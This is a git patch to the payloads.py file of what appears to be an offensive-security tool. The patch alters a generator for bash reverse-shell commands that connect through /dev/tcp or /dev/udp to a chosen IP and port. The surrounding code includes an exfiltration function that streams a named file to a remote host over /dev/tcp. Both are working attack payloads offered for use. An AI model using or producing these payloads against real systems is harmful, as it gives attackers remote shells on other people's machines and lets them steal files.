From ddfca75865a91e6260efe3e64e8d057f81230eb2 Mon Sep 17 00:00:00 2001 From: witchdocsec <107813117+witchdocsec@users.noreply.github.com> Date: Mon, 12 Jun 2023 17:57:34 +0100 Subject: [PATCH] Update payloads.py --- lib/payloads.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/payloads.py b/lib/payloads.py index ed7fceb..92563f3 100644 --- a/lib/payloads.py +++ b/lib/payloads.py @@ -1,7 +1,7 @@ class Shells: class Rev: def bash(ip,port,shell,protocol): - return f"{shell} -i >& /dev/{protocol}/{ip}/{port} 0>&1 &" + return f"bash -c \\\"{shell} -i >& /dev/{protocol}/{ip}/{port} 0>&1 & \\\";" class Exfil: def socket(ip,port,file): return f"cat {file} &> /dev/tcp/{ip}/{port} ;" @@ -10,3 +10,4 @@ class Exfil: +